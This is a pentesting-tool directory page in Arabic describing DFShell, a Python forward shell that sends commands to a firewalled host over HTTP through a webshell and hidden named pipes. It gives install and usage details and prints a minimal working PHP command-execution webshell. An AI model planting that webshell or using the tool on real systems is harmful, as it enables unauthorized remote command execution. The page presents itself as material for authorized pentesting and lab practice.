Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
DFShell — أداة forward shell مبنية بلغة Python تنشئ شل تفاعلية تشبه TTY عبر HTTP باستخدام named pipes، ما يتيح تنفيذ الأوامر على أهداف firewalled دون اتصالات شبكة دائمة. | Kitploit
أدوات/GitHubGitHub/d3ext/dfshell
توليد الحمولةشيل كوداستغلال تطبيقات الويباختبار الاختراق
GitHubd3ext/dfshell

DFShell

أداة forward shell مبنية بلغة Python تنشئ شل تفاعلية تشبه TTY عبر HTTP باستخدام named pipes، ما يتيح تنفيذ الأوامر على أهداف firewalled دون اتصالات شبكة دائمة.

عرض المستودع
12219منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
root@kitploit:~
██████╗ ███████╗███████╗██╗  ██╗███████╗██╗     ██╗     
██╔══██╗██╔════╝██╔════╝██║  ██║██╔════╝██║     ██║     
██║  ██║█████╗  ███████╗███████║█████╗  ██║     ██║     
██║  ██║██╔══╝  ╚════██║██╔══██║██╔══╝  ██║     ██║     
██████╔╝██║     ███████║██║  ██║███████╗███████╗███████╗
╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝                      

مقدمة

Forward Shell من D3Ext هي سكربت بلغة بايثون تستخدم mkfifo لمحاكاة شل داخل الجهاز الضحية. يقوم بإنشاء مجلد مخفي في /dev/shm/.fs/ حيث يتم تخزين الأنابيب المسماة. يمكنك حتى محاكاة TTY عبر الوبشيل.

الشرح

تقوم هذه الشل الأمامية بإنشاء شل تقبل الأوامر عبر أنبوب مسمى (mkfifo) وتُخرج النتائج إلى ملف. من خلال هذا، لا تحتاج الشل إلى اتصال شبكة مستمر، لذا يمكنك إنشاء TTY مناسب خلف جدار حماية يمنع الشلات العكسية أو المربوطة.

  1. إنشاء أنبوب مسمى على الخادم الهدف
  2. قراءة وتنفيذ الأوامر المستلمة من الأنبوب المسمى
  3. حفظ STDOUT و STDERR في ملف الإخراج
  4. العودة للخطوة الثانية والقراءة من الأنبوب المسمى مرة أخرى

الميزات

  • سريعة وقابلة للتكوين
  • أوامر قوية مدمجة
  • شل TTY تفاعلية

التنصيب

التنصيب من المصدر

root@kitploit:~
git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements.txt

التنصيب باستخدام pip

root@kitploit:~
pip3 install dfshell

الاستخدام

DFShell تمتلك مجموعة متنوعة من معاملات سطر الأوامر لتحسين تكوين الشل الأمامية.

لوحة المساعدة

root@kitploit:~
usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]

D3Ext's Forward Shell - Enhanced forward shell with integrated commands

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     url of the webshell (i.e. http://10.10.10.10/webshell.php)
  -p PARAMETER, --parameter PARAMETER
                        parameter of the webshell to execute commands (i.e. cmd)
  -t TIMEOUT, --timeout TIMEOUT
                        timeout of requests that execute commands (default 20s)
  --path PATH           path in which to create named pipes (default /dev/shm/.fs)
  -v VERBOSE, --verbose VERBOSE
                        print more information

ترسل طلبات GET إلى الرابط المحدد، لذا يجب أن تكون الوبشيل شيئًا كهذا:

root@kitploit:~
<?php
  if(isset($_REQUEST['cmd']))
  {
    system($_REQUEST['cmd']);
  }
?>

تم الاختبار على Parrot OS مع خادم Apache

إذا كنت ترغب في اختبار هذه الأداة في بيئات خاضعة للتحكم، إليك قائمة بأجهزة HackTheBox التي تُطبق فيها قواعد جدار الحماية على خادم الويب، لذا فإن الشل الأمامية هي بديل رائع للانتقال مباشرة إلى تصعيد الامتيازات.

  • Inception




العرض التوضيحي

المراجع

شكرًا لـ @ippsec على هذه التقنية الرائعة

root@kitploit:~
https://github.com/IppSec/forward-shell
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
https://www.f5.com/labs/learning-center/forward-and-reverse-shells
https://github.com/Hypnoze57/FShell
https://s4vitar.github.io/ttyoverhttp/

المساهمة

راجع CONTRIBUTING.md

سجل التغييرات

راجع CHANGELOG.md

الترخيص

هذا المشروع مرخص تحت رخصة MIT

حقوق النشر © 2023, D3Ext

الدعم

Buy Me A Coffee

تنزيل الأداة